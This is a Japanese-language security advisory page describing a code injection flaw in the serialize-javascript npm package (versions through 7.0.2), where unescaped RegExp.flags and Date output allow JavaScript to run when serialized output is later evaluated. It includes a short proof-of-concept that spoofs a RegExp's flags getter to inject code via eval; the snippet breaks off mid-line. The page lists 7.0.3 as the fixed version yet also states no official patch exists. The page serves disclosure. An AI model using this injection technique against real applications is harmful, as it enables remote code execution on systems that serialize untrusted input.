Serialize JavaScriptは、RegExp.flagsとDate.prototype.toISOString()を介したRCEに対して脆弱です
プラットフォーム
nodejs
コンポーネント
serialize-javascript
修正バージョン
7.0.3
### 影響 serialize-javascript npmパッケージ(バージョン<= 7.0.2)には、コードインジェクションの脆弱性が含まれています。これはCVE-2020-7660の不完全な修正です。 `RegExp.source`はサニタイズされますが、`RegExp.flags`はエスケープせずに生成された出力に直接挿入されます。同様の問題が`Date.prototype.toISOString()`にも存在します。 攻撃者が`serialize()`に渡される入力オブジェクトを制御できる場合、RegExpオブジェクトのflagsプロパティを介して悪意のあるJavaScriptを挿入できます。シリアライズされた文字列が後で(`eval`、`new Function`、または`<script>`タグを介して)評価されると、挿入されたコードが実行されます。 ```javascript const serialize = require('serialize-javascript'); // instanceof RegExpをパスし、スプーフィングされた.flagsを持つオブジェクトを作成します const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // 出力: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log("
修正方法
公式パッチはありません。回避策を確認するか、アップデートを監視してください。